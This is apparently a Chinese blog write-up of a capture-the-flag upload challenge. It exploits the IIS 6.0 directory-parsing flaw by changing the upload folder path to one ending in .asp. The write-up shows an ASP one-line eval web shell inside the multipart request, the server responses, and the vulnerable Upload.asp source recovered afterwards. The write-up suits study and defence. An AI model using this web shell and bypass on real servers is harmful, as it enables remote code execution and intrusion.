在某靶场做题的时候发现有个知识盲区,顺手记一记。

信息收集

页面非常简单,就一个上传的选择框以及点击上传,没有前端过滤。由于做php的题总是太习惯了,根本没太注意回应头的内容

1
Server: Microsoft-IIS/6.0

这里用的IIS做服务器,而且上传页面还是个asp页面。所以我们需要一个asp马上传上去就好了。

试探

这道题的上传逻辑是先检查你的后缀名,只要不是在服务端允许的白名单之内就拒绝上传。于是我们只能改后缀进行上传。不过还有个点是他上传完以后,还会将你的文件名改成上传时间,基本上就是个这么个情况

1
2
3
4
5
6
7
8
9
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<meta http-equiv="Content-Language" Content="zh-CN">
</head>
<body leftmargin="10" topmargin="10" bgcolor="#FFFFFF">

内部办公文件上传入口<br><br>上传文件:/shell-asp.jpg<br>文件大小:25 字节<br>返回地址:upload/2018626032150.jpg <br><br>共 1 个文件成功上传到服务器! <br><br><input type="button" value=" 返 回 " onclick="javascript:history.back();"></body></html>

当时想用%00啥的绕过,发现根本不可能,因为他会把你上传之后的文件名改掉,所以根本不可能用这个方法。

解决

看了一下hint提示了关注服务器类型,然后就注意到了Server: Microsoft-IIS/6.0,这里可以用iis的一个路径解析漏洞。

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx

这里一开始我也傻逼地还光顾着去改文件名去利用解析漏洞,试过一次才发现文件名是一直被对方控制的。

认真看请求主体可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="act"

upload
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="upcount"

1
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="GuFolderPath"

upload
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="file1"; filename="/shell-asp.asp/1.jpg"
Content-Type: application/octet-stream

<%eval request("value")%>
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="Submit"


------WebKitFormBoundaryz7FvAglTc7ApQHRX--

中间有两个upload,这样子,我联想到之前做过的,这必定就是上传路径无疑了,所以我们只需要将其改成upload/xxx.asp配合解析漏洞利用就可以连上shell了,修改完成后上传返回

1
2
3
4
5
6
7
8
9
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<meta http-equiv="Content-Language" Content="zh-CN">
</head>
<body leftmargin="10" topmargin="10" bgcolor="#FFFFFF">

内部办公文件上传入口<br><br>上传文件:/shell-asp.asp/1.jpg<br>文件大小:25 字节<br>返回地址:upload/1.asp/2018626032150.jpg <br><br>共 1 个文件成功上传到服务器! <br><br><input type="button" value=" 返 回 " onclick="javascript:history.back();"></body></html>

直接访问返回地址的路径,由于6.0解析漏洞,这个在服务器上即使是图片也被当作asp解析,所以我们直接可以以upload/1.asp/2018626032150.jpg连上shell拿到flag

源码

脸上shell后特地去拿了一波源码,Upload.asp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<%OPTION EXPLICIT%>
<%Server.ScriptTimeOut=5000%>

<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<meta http-equiv="Content-Language" Content="zh-CN">
</head>
<body leftmargin="10" topmargin="10" bgcolor="#FFFFFF">

<!-- #include file="upload_5xsoft.inc" -->

<%
dim upload,file,formName,iCount,FolderNameNew
dim GuFolderPath,fso,GuFolder0,GuFileSize0,GuFileExt0,GuAutoName

set upload=new upload_5xsoft '建立上传对象

GuFolder0="upload/" '设定默认上传的目录,必须以“/”结束,可以为空
GuFileSize0=2048 '设定默认允许上传的最大文件,单位:K,1024K=1M
GuFileExt0="bmp|gif|jpg|jpeg|png|swf|rar|zip|txt" '设定默认允许上传的文件类型
GuAutoName="1" '设定上传成功后的文件名是否自动重新命名或是使用原来的名称,1为是,0为否

Response.write upload.Version&"<br><br>" '显示上传类的版本


if upload.form("GuFolderPath")<>"" then
GuFolderPath=upload.form("GuFolderPath")
call FolderNameCheck(GuFolderPath)
GuFolderPath=upload.form("GuFolderPath")
if right(GuFolderPath,1)<>"/" then GuFolderPath=GuFolderPath&"/"

elseif upload.form("GuFolderPath")="" and GuFolder0<>"" then
GuFolderPath=GuFolder0
call FolderNameCheck(GuFolderPath)
GuFolderPath=GuFolder0
if right(GuFolderPath,1)<>"/" then GuFolderPath=GuFolderPath&"/"

else
GuFolderPath=""

end if


iCount=0




for each formName in upload.objFile '列出所有上传了的文件

set file=upload.file(formName)

if file.FileSize>0 then

dim FileExtF,FileExtY,FileExtOK,ii,jj
FileExtF=split(File.FileName,".")
for jj=0 to ubound(FileExtF)
next
FileExtY=0
FileExtOK=split(GuFileExt0,"|")

for ii=0 to ubound(FileExtOK)
if FileExtOK(ii)=FileExtF(jj-1) then
FileExtY=1
exit for
end if
next

if FileExtY=0 then
Htmend "上传失败,不允许上传的文件类型"

elseif file.FileSize>GuFileSize0*1024 then
Htmend "上传失败,单个文件大小超过限制,最大"&GuFileSize0&"*1024 字节,1K=1024字节"

else
dim FileNameOK
if GuAutoName="1" then
FileNameOK=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&iCount&"."&FileExtF(jj-1)
else
FileNameOK=file.FileName
end if

file.SaveAs Server.mappath(GuFolderPath&FileNameOK) '保存文件
Response.write "上传文件:"&file.FileName&"<br>文件大小:"&file.FileSize&" 字节<br>返回地址:"&GuFolderPath&FileNameOK&" <br>"
iCount=iCount+1

end if

else
Htmend "上传失败,请选择要上传的文件"

end if

set file=nothing

next

set upload=nothing

Htmend "共 "&iCount&" 个文件成功上传到服务器!"


Sub FolderNameCheck(FolderNameNew)

dim Letters,i,c
Letters="+=:;,[]<>\|*?"
for i=1 to len(FolderNameNew)
c=mid(FolderNameNew,i,1)
if inStr(Letters,c)<>0 then
Htmend "上传失败,文件夹名称含有特殊字符"
end if
next

GuFolderPath=server.MapPath(GuFolderPath)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
if fso.FolderExists(GuFolderPath)=false then
fso.CreateFolder(GuFolderPath)
end if
Set fso=nothing

End sub


Sub HtmEnd(Msg)
set upload=nothing
response.write "<br>"&Msg&" <br><br><input type=""button"" value="" 返 回 "" onclick=""javascript:history.back();""></body></html>"
response.end
End sub
%>
</body>
</html>